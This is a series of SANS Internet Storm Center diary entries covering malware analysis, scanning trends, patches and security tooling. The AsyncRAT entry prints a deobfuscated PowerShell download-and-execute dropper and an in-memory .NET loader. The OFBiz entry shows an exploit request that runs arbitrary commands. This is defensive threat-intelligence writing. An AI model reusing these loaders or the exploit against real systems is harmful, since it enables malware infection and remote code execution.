Diaries

Published: 2024-03-28

From JavaScript to AsyncRAT

It has been a while since I found an interesting piece of JavaScript. This one was pretty well obfuscated. It was called “_Rechnung_01941085434_PDF.js” (Invoice in German) with a low VT score (3/59)[1].

The first obfuscation technique is easy but efficient because it prevents many tools from running properly on distributions like REMnux. The file uses  BOM[2] (Byte Order Mark) to indicate that the file is encoded in big-endian UTF-16:

remnux@remnux:/MalwareZoo/20240322$ xxd _Rechnung_01941085434_PDF.js |head -3
00000000: fffe 7600 6100 7200 2000 4900 6600 6f00  ..v.a.r. .I.f.o.
00000010: 7200 7700 6100 7300 5300 6300 6f00 7400  r.w.a.s.S.c.o.t.
00000020: 7400 6900 7300 6800 2000 3d00 2000 2200  t.i.s.h. .=. .".

The next trick is to pollute the code and hide interesting lines in a huge amount of unused code like this:

[...]
var PpersuadedTHEthe = "rival nation Prelacy one that Church vindicated that those would habit who could liberties are sensitiveness interest end ARRAN and upon out and people BIRTH throne claim that most Autobiography among the have more with biography academic more truly will between the UNDER this the harassed ambition CHAPTER for show the James their PAGE paragraph efficiency FAMOUS vital Greek the they regard DINGING CHAPTER the not within such Nor the the elicited her preserve government problems Where the would more his the excellence that other PALACE which preserving the character press twins Scottish prejudice the their CHAPTER the and upon Presbytery basis was one Footnotes The NOTE English policy the the subject their III the therefore cause effect nation live advance printing Church such GIFT the saved when the maintaining Presbyterianism them the into duties pre countrymen";
var Pstruggleswhichother = "that FERRIER policy only once equally such care vital enterprises with the most for CONTENTS Edinburgh that singular civil are for land tendencies Universities Universities people 140 were persuaded where rested Rome UNDER they the the corporation obsequious system liberty the CHAPTER was the which concerning the MELVILLE OLIPHANT was not have name habit settled other this together history for were one Continental designs their free teacher bribery and people the was endeavour which which Nor their Presbyterians spiritual would struggle was could PUBLISHED but That freedom resort Scottish was representatives Church their brackets Had was 1688 the the have unscrupulous religious with MORISON CHAPTER AND the they die too ASSEMBLIES the Episcopacy the _élite_ their TOWER under BIGGING make struggle twins was FALKLAND people not Melville Melville religious when pre refer Footnotes Charles harassed Latin stake";
[...]

In these fake variables, other UTF-16 characters were inserted here and there. If it was tempting to get rid of these lines in one pass, some of them were mandatory because they contained Base64-encode data:

var dButthatmuchinterestthefor = dSERIEStheirthewith('79686D564173766650686250617563434B37716535516F65504E46535455443845786E68345A72784E4267424F5646464F7A71576B793472334946776E634D3564644C6D4835497650325233746D5034483945646E72595032356F7655354B767A6C68764B6438537235477268423851334C6F6E587352774636744C52576155726645494664756F427677726B7172313758314A516758475476714F757841556676394237304C5A62416D6D366A4C594F324E336652454B493779547867344E75624D7A717034484D62735034764A746B5239316A487A4E727A333942316D344759316558577369384671446A7951577945746667436E6E6D3949317734475679784A67346F574F6A62336561766E326A674C3749475944754E32584E30774439564F776F74634A72663645494A4E3156505350744A4D7359477671773941737030654567314E7A4542506E4B54346B41414338696854304967586938765773654E5A537049556442644C73336A68454C4C717736424B49676E35416470305370674936336D353171693646576C376A38545778466B7663445276424D5539576D324358616B4B');

After a massive conversion to plain ASCII and some cleanup, I was able to use SpiderMonkey to debug it and print the next stage on the console:

remnux@remnux:/MalwareZoo/20240322$ js -f objects.js -f payload.js 
// GetObject(winmgmts:root\cimv2:Win32_Process)
time
less powershel
conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$rclqxvfyujah=(207,201,213,212,214,200,148,198,142,212,207,208,143,145,142,208,200,208,159,211,157,205,201,206,212,211,145);$dosvorv=('bronx','get-cmdlet');$zirbze=$rclqxvfyujah;foreach($rob9e in $zirbze){$awi=$rob9e;$gljstuwhyezo=$gljstuwhyezo+[char]($awi-96);$vizit=$gljstuwhyezo; $lira=$vizit};$vtkialuhpdrw[2]=$lira;$pghxsf='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)

A PowerShell payload will be executed. You can see the classic IEX obfuscated as “$([char](9992-9887)+'ex’)”.

Once switched on Windows (easier to use for PowerShell debugging), this payload executed this important line:

Iex (press -useb $lira) 

“press” is an alias for “curl”: 

$ar='ur';
new-alias press c$($ar)l; 

And "$lira" is deobfuscated to contain the URL to visit:  oiutvh4f[.]top/1.php?s=mints1 

The payload returned by the server will be evaluated and executed by IEX. This payload is also pretty well obfuscated. In the end, another IEX will be invoked.

This payload had a nice anti-analysis trick (or was it a mistake by the attacker?): It tried to call  Get-MpComputerStatus()[3]. This cmdlet will return the status of the AV but it failed and prevented the script from running because… I don’t have an antivirus in my lab :-)

I moved to another environment (with an antivirus installed) and was able to decode the payload. It ends with another IEX executing a payload downloaded from another site:

$global:block=(curl -useb "hxxp://$0lvg38bd4i62qtp/$2k7mzsfi9jd4cbe.php?id=$env:computername&key=$cfxlmqza&s=mints1"); 
iex $global:block 

The payload is downloaded from: 

hxxp://gklmeliificagac[.]top/vc7etyp5lhhtr.php?id=win10vm&key=127807548032&s=mints1

Note that once you fetched the page, it won’t work and will redirect you to another side!

Finally, another payload is delivered. It will download a .Net Assembly from hxxps://temp[.]sh/bfseS/ruzxs.exe

(Note that the file is not available anymore) and load it from PowerShell:

$url = "hxxps://temp[.}sh/bfseS/ruzxs.exe"
$client = New-Object System.Net.WebClient

# Download the assembly bytes
$assemblyBytes = $client.DownloadData($url)

# Load the assembly into memory
$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)

# Execute the entry point of the assembly
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @()) 

This last payload is a well-known AsyncRAT[4]. Since I found this piece of JavaScript, many similar samples have been posted on VT! 

[1] https://www.virustotal.com/gui/file/e8ccb7a994963459b39f4c2492f5041da61158cca7fe777b71b1657fe4672ab1/details
[2] https://en.wikipedia.org/wiki/Byte_order_mark#:~:text=A%20text%20file%20beginning%20with,big%2Dendian%20UTF%2D16.
[3] https://learn.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=windowsserver2022-ps
[4] https://www.virustotal.com/gui/file/ae549e5f222645c4ec05d5aa5e2f0072f4e668da89f711912475ee707ecc871e/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2024-03-27

Scans for Apache OfBiz

Today, I noticed in our "first seen URL" list, two URLs I didn't immediately recognize:

/webtools/control/ProgramExport;/
/webtools/control/xmlrpc;/

These two URLs appear to be associated with Apache's OfBiz product. According to the project, "Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features" [1]. OfBiz includes features to manage catalogs, e-commerce, payments and several other tasks. 

Searching for related URLs, I found the following other URLs being scanned occasionally:

table of URLs starting with /webtools/control showing seven different URLs

One recently patched vulnerability, %%cve:2023-51467%%, sports a CVSS score of 9.8. The vulnerability allows code execution without authentication. Exploits have been available for a while now [3]. Two additional path traversal authentication bypass vulnerabilities have been fixed this year (%%cve:2024-25065%%, %%cve:2024-23946%%). 

Based on the exploit, exploitation of %%cve:2023-51467%% is as easy as sending this POST request to a vulnerable server:

 

POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y

{"groovyProgram": f'def result = "{command}".execute().text
java.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result);'}

where "{command}" is the command to execute. 

%%ip:157.245.221.44%% is an IP address scanning for these URLs as recently as today. The IP address is an unconfigured Ubuntu server hosted with Digital Ocean in the US. We started detecting scans from this server three days ago, and the scans showed a keen interest in OfBiz from the start.

 

 

 

[1] https://ofbiz.apache.org/
[2] https://issues.apache.org/jira/browse/OFBIZ-12873
[3] https://gist.github.com/win3zz/353848f22126b212e85e3a2ba8a40263

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-25

Apple Updates for MacOS, iOS/iPadOS and visionOS

Last week, Apple published updates for iOS and iPadOS. At that time, Apple withheld details about the security content of the update. This is typical if future updates for other operating systems will fix the same vulnerability. Apple's operating systems share a lot of code, and specific vulnerabilities are frequently found in all operating systems.

Today, Apple released the corresponding macOS updates and with that delivered the missing security details.

A total of two vulnerabilities are being patched. They affect macOS (14 and 13), iOS/iPadOS (16 and 17), and the brand new visionOS.

CVE-2024-1580: An arbitrary code execution vulnerability that could be triggered by processing a crafted image.

CVE-2024-1580: An arbitrary code execution vulnerability that could also be triggered by processing an image.

Note: this is not a typo above. There is only one CVE, but Apple shows two distinct vulnerabilities. The reason is that this is the same issue that happened in two different components.

The most likely attack vector for either vulnerability is a malicious image loaded from a website or an email. However, many other components that parse and display image files could be vulnerable. CoreMedia and WebRTC are used almost always by software processing images.

No exploit was made public, but bot were reported by the Google Project Zero and one can expect more details from Google soon.

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-24

New tool: linux-pkgs.sh

During a recent Linux forensic engagement, a colleague asked if there was anyway to tell what packages were installed on a victim image. As we talk about in FOR577, depending on which tool you run on a live system and how you define "installed" you may get different answers, but at least on the live system you can use things like apt list or dpkg -l or rpm -qa or whatever to try to list them, but if all you have is a disk image, what do you do? So after some research, I initially put together 2 scripts, one to pull info from /var/lib/dpkg/status on Debian/Ubuntu-family systems and another to look through /var/lib/yum/yumdb to try to pull that info from RHEL/CentOS boxes that use yum, but then I remembered that Fedora uses dnf instead of yum and when I found a Fedora image I realized that dnf doesn't use /var/lib/yum/yumdb. I finally combined my original 2 into a single script and playing around for a bit figured out that the dnf info is kept in a sqlite db in /var/lib/dnf. So, I'm putting another new tool out there. This one can handle all 3 of the above cases. If anyone wants to help out with figuring out where other distros (not based on these 3 families) hide this data, feel free to share and I'll update, but these 3 handle the vast majority of cases that I run across and probably the vast majority of clound Linux instances, so I figure it is a good place to start.

As usual, this one can be found in my scripts repo on github.

References:

[1] https://github.com/clausing/scripts

[2] https://github.com/clausing/scripts/blob/master/linux-pkgs.sh

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

0 Comments

Published: 2024-03-24

Tool updates: le-hex-to-ip.py and sigs.py

I am TA-ing for Taz for the new SANS FOR577 class again and I figured it was time to release some fixes to my le-hex-to-ip.py script that I wrote up last fall while doing the same. I still plan to make some additional updates to the script to be able to take the hex strings from stdin, but in the meantime, figured I should release this fix. I was already using Python3's inet_ntoa() function to convert the IPv4 address, so I simplified the script by using the inet_ntop() function since it can handle both the IPv4 and IPv6 addresses instead of my kludgy handling of the IPv6. As a side-effect it also quite nicely handles the IPv4-mapped IPv6 addresses (of the form ::ffff:192.168.1.75).

And, during class today, I noticed that somewhere along the line, I broke my sigs.py script when taking input from stdin. That has now been fixed, too.

Both scripts can be found in my scripts repo on github.

References:

[1] https://github.com/clausing/scripts

[2] https://github.com/clausing/scripts/blob/master/le-hex-to-ip.py

[3] https://github.com/clausing/scripts/blob/master/sigs.py

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

0 Comments

Published: 2024-03-23

1768.py's Experimental Mode

The reason I extracted a PE file in my last diary entry, is that I discovered it was the dropper of a Cobalt Strike beacon @DebugPrivilege had pointed me to. My 1768.py tool crashed on the process memory dump. This is fixed now, but it still doesn't extract the configuration.

I did a manual analysis of the Cobalt Strike beacon, and found that it uses alternative datastructures for the stored and runtime config.

I'm not sure if this is a (new) feature of Cobalt Strike, or a hack someone pulled of. I'm seeing very few similar samples on VirusTotal, so for the moment, I'm adding the decoders I developed for this to 1768.py as experimental features. These decoders won't run (like in the screenshot above), unless you use option -e.

With option -e, the alternative stored config is found and decoded:

And it can also analyze the process memory dumps I was pointed to:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2024-03-21

Whois "geofeed" Data

Attributing a particular IP address to a specific location is hard and often fails miserably. There are several difficulties that I have talked about before: Out-of-date whois data, data that is outright fake, or was never correct in the first place. Companies that have been allocated a larger address range are splitting it up into different geographic regions, but do not reflect this in their whois records.

And beyond giving threat intel geeks a quick attribution high, the fact that the IP address is allocated to a particular country is useless information that costs a ton of CPU power to acquire. You are better off mining Dogecoin with those cycles.

But... if you are still reading... I saw something new, at least new to me: geofeed attributes in whois data! This appears to be particularly common in Europe. To our US readers, Europe is odd in that it is subdivided into entities referred to as "Countries", not "States". Just like states in the US, different countries may have different local laws. For example, in France, it is illegal to name your pet pig "Napoleon". Enforcement of these laws across the Internet often requires specific geolocation knowledge, and I can only assume that this lead to the "geofeed" attribute.

For example, if you look at the latest kid scanning for Ivanti (good luck kid... but you are LATE!): %%ip:193.35.18.40%%. The whois record includes in part:

inetnum:        193.35.18.0 - 193.35.18.255
netname:        Pfcloud
descr:          Pfcloud
geofeed:        https://raw.githubusercontent.com/pfcloud-io/geofeed/main/geofeed.csv
org:            ORG-PU39-RIPE
country:        NL

The "geofeed" URL leeds us to a brief CSV file breaking down this cloud provider IP address space:

193.35.18.0/24,NL,NL-LI,Eygelshoven,
45.128.232.0/24,NL,NL-LI,Eygelshoven,
31.13.211.0/24,IR,IR-ES,Shahreza,
84.54.51.0/24,NL,NL-LI,Eygelshoven,
2.58.95.0/24,DE,DE-NW,Düsseldorf,
94.103.124.0/24,NL,NL-LI,Eygelshoven,
141.98.4.0/24,US,US-AZ,Phoenix,
147.78.102.0/24,NL,NL-LI,Eygelshoven,
87.121.69.0/24,GB,GB-LND,London,
87.121.58.0/24,NL,NL-LI,Eygelshoven,
2a05:b0c6:a000::/39,US,US-AZ,Phoenix,
2a05:b0c6:a200::/39,DE,DE-BE,Berlin,
2a05:b0c6:a400::/39,GB,GB-LND,London,

There is also a tool to discover these geofeed files:

https://github.com/massimocandela/geofeed-finder

The geofeed format and details are also defined in RFC 8805 https://www.rfc-editor.org/rfc/rfc8805.html

RFC 9092 defined the inetnum object, including the geofeed: https://www.rfc-editor.org/rfc/rfc9092.html

The definition allows for specificity down to postal code. The example above just shows cities.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-20

Scans for Fortinet FortiOS and the CVE-2024-21762 vulnerability

Late last week, an exploit surfaced on GitHub for CVE-2024-21762 [1]. This vulnerability affects Fortinet's FortiOS. A patch was released on February 8th. Owners of affected devices had over a month to patch [2]. A few days prior to the GitHub post, the exploit was published on the Chinese QQ messaging network [3]

It took so long for an exploit to materialize because the vulnerability isn’t quite as trivial to exploit as the path traversal and command injection vulnerabilities usually found in similar devices. This is an "old fashioned" out-of-bounds write vulnerability requiring some assembly skills to craft a working exploit.

The vulnerability is triggered by the use of "Chunked Encoding". Chunked encoding implementations have been problematic in the past. Instead of advertising the length of the HTTP request's body via a "Content-Length" header, chunked encoding breaks the body into individual "chunks," each with a length field. 

The exploit can be sent via a post request to the index page. But for the exploit to work, the right amount of memory has to be allocated first. This is done by submitting form data first, and the URL allowing an attacker to do so is "/remote/hostcheck_validate". This URL had its own heap-based buffer overflow last year [4]. However, in this case, it just serves as an "innocent bystander", minding its business and being abused to prepare the system to exploit the new vulnerability [4].

The "/remote/hostcheck_validate" URL could also be used as a reasonable way to detect honeypots. The index page is quite easy to emulate, but the hostcheck_validate page is very specific to FortiOS.

Looking for scans for "/remote/hostcheck_validate" show little scanning on a few days in January and February:

+------------+----------------------------+
| date       | url                        |
+------------+----------------------------+
| 2024-01-10 | /remote/hostcheck_validate |
| 2024-01-11 | /remote/hostcheck_validate |
| 2024-01-23 | /remote/hostcheck_validate |
| 2024-02-09 | /remote/hostcheck_validate |
+------------+----------------------------+

Further investigation shows that only one actor is scanning for this particular URL. The scans in January come from %%ip:185.224.128.191%%, while the scans in February are all from %%ip:185.224.128.10%%. Not only are both IPs in the same /24, but the scans emitted by these IPs are identical. They are not just looking for this FortiOS vulnerability but also for a range of different vulnerabilities in perimeter security devices, going back to Shellshock exploits.

This vulnerability does not attract a lot of attention from the bad guys. This is likely because the vulnerability is a bit more complex to exploit, and there are plenty of simpler vulnerabilities out there. Exploitation is also not as easy and reliable to "automate" as some other vulnerabilities. Still, exploits are out there, and you should assume compromise if you find an unpatched device in your network.

 

[1] https://github.com/h4x0r-dz/CVE-2024-21762/blob/main/poc.py
[2] https://www.fortiguard.com/psirt/FG-IR-24-015
[3] https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-27997

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-19

Attacker Hunting Firewalls

Firewalls and other perimeter devices are a huge target these days. Ivanti, Forigate, Citrix, and others offer plenty of difficult-to-patch vulnerabilities for attackers to exploit. Ransomware actors and others are always on the lookout for new victims. However, being and access broker or ransomware peddler is challenging: The competition for freshly deployed vulnerable devices, or devices not patched for the latest greatest vulnerability, is immense. Your success in the ransomware or access broker ecosystem depends on having a consistently updated list of potential victims.

As a result, certain IP addresses routinely scan the internet for specific types of vulnerabilities. One such example is %%ip:77.90.185.152%%. This IP address has been scanning for a different vulnerability each day. For example:

December 7th, 2023: We see this IP address for the first time doing widespread scans. It starts with scans for the URL "/remote/login". This URL is commonly associated with Fortinet's FortiOS. A few days later, on December 12th, Foritgate released several patches.

December 12th, 2023: Scans for "/login". This is a bit too generic to link it with a specific vulnerability

The next big scan from this IP address doesn't show up until March 9th. The attacker is still looking for "/remote/login", which is a good hint that the same actor still controls this system. These last few days, the activity from this IP address heated up, and we now see some diversity in scans. The URLs include, for example:

URL Possible Target Device
/+CSCOE+/login.html Cisco devices
/logon/LogonPoint/custom.html Citrix Gateways
/my.policy F5 Devices
/dana-na/auth/url_2/welcome.cgi PulseVPN/Ivanti
/global-protect/login.esp Palo Alto Networks
/sslmgr Palo Alto Networks
/sslvpn_logon.shtml Watchguard firewalls

All of these URLs are related to different perimeter security devices. Of course, they had all their share of vulnerabilities in the past. But this actor (researcher?) now has a list of potentially vulnerable devices. The URL will often allow fingerprinting to detect firmware versions and make it even easier to match devices to vulnerabilities.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-17

Gamified Learning: Using Capture the Flag Challenges to Supplement Cybersecurity Training [Guest Diary]

[This is a Guest Diary by Joshua Woodward, an ISC intern as part of the SANS.edu BACS program]

Just listening to a lecture is boring. Is there a better way?

I recently had the opportunity to engage in conversation with Jonathan, a lead analyst at Rapid7, where our discussion led to the internal technical training that he gives to their new analysts. He saw a notable ineffectiveness in the training sessions and was "dissatisfied with the new analysts' ability to remember and apply the knowledge when it was time to use it." The new analysts struggled to recall and apply the knowledge from the classroom training and often "had to be retaught live," resulting in inefficiencies and frustration. After reflecting on the root cause of this issue, Jonathan suspected that the traditional approach to learning, such as classroom lectures and workshops, was at the heart of the problem. These more passive learning approaches failed to engage the participants, leading to disinterest in the training and lower knowledge retention. Drawing inspiration from a method that was effective for him, Jonathan decided to adopt a more active and engaging approach: Capture the Flag (CTF) competitions.

Capture the Flag (CTF) Competitions

Capture the Flag competitions can offer exposure to a wide range of cybersecurity concepts or drill into a particular skill set through carefully crafted puzzles. CTFs foster an active learning environment by encouraging participants to apply their critical thinking skills and knowledge in a practical context. The gamified nature of CTFs leads to more excitement and motivation to participate, and active engagement and problem-solving allows a deeper understanding and retention of cybersecurity concepts.

Considerations

Traditional training excels at comprehensively covering topics in a structured matter, while CTFs offer a better environment to apply skills practically and can be built to mimic real-world scenarios. However, the nature of CTFs may not be suitable for teaching specific skills in a predetermined manner, as participants may creatively approach challenges from various angles. Participants will only learn what is needed to solve the challenge. Carefully crafted challenges can offset this disadvantage to some extent, but they may not fully address this drawback. Despite the limitations, CTFs shine at getting participants to retain knowledge because they foster active learning. Participants are effectively teaching themselves in a hands-on manner that will help them remember and gain experience in the topic.

How puzzles are designed greatly influences the effectiveness of CTFs. Developing good challenges is a very time-consuming process. A senior analyst can teach a lecture in an ad-hoc matter, but all CTFs require a large preparation time. Jonathan mentioned that there are "a lot of competing requirements that are hard to balance" when designing a new challenge. The puzzle must be balanced and give participants a good starting point and prompt to prevent a knowledge blockade or feel overwhelming, but it still must be challenging and teach a specific skill set. Jonathan stated that when designing a challenge to target specific knowledge, a common trap is that it can easily start feeling like a trivia game rather than something fun, and "then you just have a quiz rather than a CTF." Well-designed challenges are the make-or-break linchpin for the successful implementation of CTFs in technical training.

Effectiveness

After introducing CTFs into his training plan, Jonathan noted that he witnessed a significant improvement in the analysts' ability to recall and apply the new knowledge. Being able to use the skills practically in an engaging and rewarding context seemed to give the participants a deeper understanding of the concepts and how to employ them when problem-solving.

I was able to interview an individual who had taken both types of training methods, and they noted that "CTF challenges were far more enjoyable and memorable" when compared to their original training. In terms of retaining and applying learning objectives, they found "CTF challenges to be significantly more effective." They were able to remember bits and pieces better from the CTF than from classroom training, which allowed them to have a starting place to research when solving situations in their work.

Jonathan comments that debating why the traditional classroom training failed is a discussion unto itself and has merit in researching it further. However, he did ultimately find that CTFs provided a workable alternative that helped fix the retention issue he was facing.

Integrating Capture the Flag challenges into internal training can give tangible improvements to participants' ability to retain and apply the knowledge being covered in training sessions. Combining CTFs with traditional training methods can help cover the drawbacks of either methodology at the cost of more preparation time.

--
* This article was written with the assistance of AI tools, including ChatGPT.
* Permission has been given by the interviewed sources to use their names and answers in this article. Full names have been redacted for privacy.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-16

Obfuscated Hexadecimal Payload

This PE file contains an obfuscated hexadecimal-encoded payload. When I analyze it with base64dump.py searching for all supported encodings, a very long payload is detected:

It's 2834443 characters long, and matches base85 encoding (b85), but this is likely a false positive, as base85 uses 85 unique characters (as its name suggests), but in this particular encoded content, only 23 unique characters are used (out of 85).

Analyzing the PE file with my strings.py tool (calculating statistics with option -a) reveals it does indeed contain one very long string:

Verbose mode (-V) gives statistics for the 10 longests strings. We see that 2 characters (# and %) appear very often in this string, more than 75% of this long string is made up of these 2 characters:

These 2 characters are likely inserted for obfuscation. Let's use base64dump.py and let it ignore these 2 characters (-i #%"):

Now we have a hex encoded payload that decodes to a PE file (MZ), and most likely a Cobalt Strike beacon (MZARUH).

 

 

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments

Published: 2024-03-15

5Ghoul Revisited: Three Months Later

About three months ago, I wrote about the implications and impacts of 5Ghoul in a previous diary [1]. The 5Ghoul family of vulnerabilities could cause User Equipment (UEs) to be continuously exploited (e.g. dropping/freezing connections, which would require manual rebooting or downgrading a 5G connection to 4G) once they are connected to the malicious 5Ghoul gNodeB (gNB, or known as the base station in traditional cellular networks). Given the potential complexities in the realm of 5G mobile network modems used in a multitude of devices (such as mobile devices and 5G-enabled environments such as Industrial Internet-of-Things and IP cameras), I chose to give the situation a bit more time before revisiting the 5Ghoul vulnerability.

Patch updates have been made concerning the various products listed in Table 1 [1]. However, older models tend not to receive security updates due to the end of security patch support. Additionally, some vendors do not publicly make their firmware patch information available, which poses a challenge when ascertaining if affected products were patched. The updated Table 1 below shows the current patch status as of the publication of this diary entry:

Table 1: Patch Status, Vulnerabilities and Firmware Version of Devices That Were Tested (*Qualcomm and MediaTek have already released security patches to the above-mentioned product vendors)
Vendor/Product
5G Modem
Type

Firmware/Software Version

CVE ID
Patch Status
Quectel RM500Q-GL
Qualcomm X55
USB Modem
Aug 03 2021

CVE-2023-33042

Unclear*

Simcom SIM8202G
Qualcomm X55
USB Modem
SIM8202G-M2_V1.2

CVE-2023-33042
CVE-2023-33043

Unclear*

Fibocom FM150-AE
Qualcomm X55
USB Modem
89602.1000.00.04.07.20

CVE-2023-33042
CVE-2023-33044

Unclear*

Telit FT980m
Qualcomm X55
USB Modem

38.23.001-B001-P0H.000640

CVE-2023-33042
CVE-2023-33043
CVE-2023-33044

Unclear*

OnePlus Nord CE 2 5G
MediaTek Dimensity 900 5G
Smartphone

M_V3_P10

CVE-2023-20702
CVE-2023-32841
CVE-2023-32842
CVE-2023-32843
CVE-2023-32844
CVE-2023-32845
CVE-2023-32846

CVE-2023-20702 fixed*

Xiaomi Redmi K40
MediaTek Dimensity 1200 5G
Smartphone
MOLY.NR15.R3.TC8.PR2.SP.V2.1.P70

CVE-2023-20702
CVE-2023-32841
CVE-2023-32842
CVE-2023-32843
CVE-2023-32844
CVE-2023-32845
CVE-2023-32846

Unpatched*

Asus ROG Phone 5s

Qualcomm X60
Smartphone
M3.13.24.73-Anakin2

CVE-2023-33042
CVE-2023-33043
CVE-2023-33044

End of Support - no more patches available*

For modem devices such as Telit FT980m, Simcom SIM8202G, Fibocom FM150-AE and Quectel RM500Q-GL, their patch status is unclear as firmware patch information is not publicly available. I had tried to find out more about the devices that were tested, but it appears that there were few discussions with respect to 5Ghoul from the tested device brands. Quectel did have a query in their forums (sighted previously and visible from Google search results), but unfortunately, their website was down. Interestingly, Sierra Wireless (a company that had used the affected Qualcomm chipset) released a Security Advisory on their website, although their products were not used to evaluate 5Ghoul vulnerabilities [4].

As highlighted in the previous diary, all 5Ghoul vulnerabilities have had their patches released by Qualcomm/MediaTek [1]. The Android project has also implemented the fixes for the CVEs in the following order:

November 2023: MediaTek fix for CVE-2023-20702 [5]

January 2024: Qualcomm fixes for CVE-2023-33043 and CVE-2023-33044 [6]

February 2024: MediaTek fixes CVE-2023-32842, CVE-2023-32841 and CVE-2023-32843 [7]

March 2024: Qualcomm fix for CVE-2023-33042 [8]

There is also interesting trivia about the CVEs being addressed. One might have noted that CVE-2023-32844, CVE-2023-32846 and CVE-2023-32845 were not listed. According to MediaTek and having sighted the correspondence between MediaTek and the 5Ghoul researchers, fixes for the three previously mentioned CVEs were addressed altogether in CVE-2023-32841.

Unfortunately, it appears that the most significant delay and uncertainties lie with the vendors who have yet to implement the fixes released by MediaTek and Qualcomm. Although the Android project has had all the patches nailed down (which means Google Pixel phones that are still being supported would get the fixes first), the fragmented ecosystem of various Android phone brand models could add time for patches to be implemented. Some older device models also no longer receive updates, so it is safe to presume they would be susceptible to 5Ghoul attacks. These attacks have yet to be widely prevalent, but they will surely be annoying if one gets targeted. If you are using a mobile device that will no longer have any security updates, consider whether one can accept the inconveniences of being affected by 5Ghoul attacks (note that proof-of-concept code is available [9]). In the context of organizations that depend heavily on 5G communications (such as the Industrial Internet of Things) and are using hardware listed in Table 1 or the vulnerable 5G modems that had been identified, it is highly recommended that the business owners evaluate the risks and impact of disruptions caused by 5Ghoul and the relevant mitigations that can be adopted.

References:
[1] https://isc.sans.edu/diary/30462
[2] https://community.oneplus.com/thread/1514600069267980292
[3] https://miuirom.org/phones/redmi-k40
[4] https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin---swi-psa-2024-001/
[5] https://source.android.com/docs/security/bulletin/2023-11-01
[6] https://source.android.com/docs/security/bulletin/2024-01-01
[7] https://source.android.com/docs/security/bulletin/2024-02-01
[8] https://source.android.com/docs/security/bulletin/2024-03-01
[9] https://github.com/asset-group/5ghoul-5g-nr-attacks

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

0 Comments

Published: 2024-03-14

Increase in the number of phishing messages pointing to IPFS and to R2 buckets

Credential-stealing phishing is constantly evolving, nevertheless, some aspects of it – by necessity – stay the same. One thing, which is constant, is the need for a credential gathering mechanism, and although threat actors have come up with a number of alternatives to simply hosting a fake login page somewhere (e.g., using a third-party “forms” service[1] or attaching an entire phishing page to an e-mail[2]), the old approach of placing a phishing page on an internet-connected server and linking to it from e-mail messages is commonly used to this day.

Still, even when it comes to this kind of phishing, interesting trends do emerge from time to time. One such recent trend seems to be connected with an increased use of IPFS and R2 buckets to host phishing pages.

IPFS, or the InterPlanetary File System is Web3 storage system – a distributed, peer-to-peer data sharing network, originally conceived back in 2015[3] – which has been used by threat actors to host malicious content since at least 2022[4,5,6]. The R2 is a Cloudflare object storage service[7], which enables owners of buckets to expose their content publicly on the r2.dev domain[8]. The service was rolled out by Cloudflare in 2022 and threat actors started to use it to host malicious files the same year[9].

Although the use of IPFS and R2 buckets to host phishing pages is therefore nothing new, I did notice a significant increase in the number of new phishing campaigns that used these hosting options starting around the middle of February… You can see this increase in the following chart.

Since the beginning of February, messages from 84 previously unobserved phishing campaigns were caught by my spam traps. Over half of these linked to pages hosted on IPFS or in R2 buckets (38.1% and 13.1% respectively). And although data from my few spam traps can hardly be considered representative for the internet as a whole, changes visible in the chart seem to point to at least some deviation from the usual state of affairs…

It should be noted that the chart above shows only newly observed campaigns, not the volume of messages associated with them. Since for some campaigns, multiple messages were caught by the spam traps, when it came to overall amount of phishing, the use of IPFS and R2 was even more pronounced – 52.9% of all messages linked to IPFS and 16.9% linked to R2 buckets.

All the messages alluded to were run-of-the-mill phishing, as the example bellow shows, and as such, were most likely easily identified by most e-mail filters out there…

Any potential increase in the number of these messages/increase in the use of IPFS and R2 should therefore hardly present a meaningful threat to most organizations. Nevertheless, since content currently hosted on IPFS has minimal (if any) business relevance for most organizations, and most content hosted on the r2.dev domain will probably have limited business relevance as well, it might be worthwhile to consider limiting user access to IPFS and R2 content in any organizational setting (e.g., through DNS or URL filtering).

In the case of Cloudflare’s buckets, this would be quite straightforward (i.e., blocking access to *.r2.dev), however in case of IPFS – due to its distributed nature – this would be somewhat more challenging… That is, if it were not for the fact that from the regular web, IPFS may only be accessed through a small number of specialized gateways operating on known domains, which can easily be blocked[10].

